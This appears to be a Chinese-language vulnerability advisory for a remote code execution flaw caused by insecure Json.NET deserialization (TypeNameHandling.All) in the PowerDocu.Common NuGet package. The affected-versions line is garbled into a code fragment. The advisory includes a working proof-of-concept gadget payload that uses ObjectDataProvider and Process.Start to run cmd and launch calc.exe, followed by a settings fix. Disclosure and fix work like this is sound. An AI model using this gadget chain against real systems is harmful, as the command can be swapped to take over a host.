## 关键信息 ### 漏洞描述 - **类型:** 远程代码执行 (RCE) 通过不安全的反序列化 - **漏洞包:** PowerDocu.Common (NuGet) - **受影响版本:** (flowJSON, settings).ToObject(typeof(object), _jsonSerializer); ``` ### 利用概念证明 (PoC) 攻击者可以通过构造特定 JSON payload 在宿主机上启动 calc.exe。 ```json { "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35", "MethodName": "Start", "MethodParameters": { "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "$values": [ "cmd", "/c calc.exe" ] }, "ObjectInstance": { "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" } } ``` ### 修复策略 移除 FlowParser.cs 和 AppParser.cs 中的 TypeNameHandling.All 选项,防止指定类型攻击。 ```csharp // OLD (Vulnerable) var settings = new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All, MaxDepth = 128 }; // NEW (Secure) var settings = new JsonSerializerSettings { MaxDepth = 128 }; ```